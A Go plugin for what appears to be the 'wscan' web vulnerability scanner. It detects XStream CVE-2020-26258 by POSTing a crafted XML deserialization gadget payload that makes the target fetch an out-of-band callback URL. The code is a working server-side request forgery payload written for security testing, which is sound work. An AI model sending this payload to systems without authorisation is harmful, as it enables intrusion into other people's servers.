/**
2 * @Author: shaochuyu
3 * @Date: 3/23/24
4 */

package xstream

import (
	"bytes"
	"context"
	"strings"
	"wscan/core/http"
	"wscan/core/model"
	"wscan/core/plugins/base"
	"wscan/core/reverse"
	logger "wscan/core/utils/log"
)

type CVE_2020_26258 struct {
}

func (p *CVE_2020_26258) Finger() *base.Finger {
	return &base.Finger{
		CheckAction: func(ctx context.Context, ab *base.Apollo) error {
			flow := ab.GetTargetFlow()
			logger.Infof("开始检测xstream/CVE-2020-26258, %s", flow.Request.URL())
			payload := `<map>
          <entry>
            <jdk.nashorn.internal.objects.NativeString>
              <flags>0</flags>
              <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
                <dataHandler>
                  <dataSource class='javax.activation.URLDataSource'>
                    <url>{{reverse-url}}</url>
                  </dataSource>
                  <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
              </value>
            </jdk.nashorn.internal.objects.NativeString>
            <string>test</string>
          </entry>
        </map>`

			unit := ab.Reverse.Register(nil)
			payload = strings.Replace(payload, "{{reverse-url}}", unit.GetVisitURL(), -1)
			req, _ := http.NewRequest("POST",
				flow.Request.URL().JoinPath("/").String(),
				nil)
			req.WithXMLBody(bytes.NewReader([]byte(payload)))
			res, err := ab.HTTPClient.Respond(context.TODO(), req)
			if err != nil {
				return nil
			}
			unit.OnVisit(func(event *reverse.Event) error {
				v := ab.NewWebVuln(req, res, nil)
				if v != nil {
					v.SetTargetURL(flow.Request.URL())
					v.Payload = payload
					ab.OutputVuln(v)
				}
				return nil
			})
			unit.Fetch(0)
			return nil
		},
		Channel: "web-generic",
		Binding: &model.VulnBinding{ID: "xstream/CVE-2020-26258",
			Plugin:   "xstream/CVE-2020-26258",
			Category: "xstream/CVE-2020-26258"},
		NeedReverse: true,
	}
}
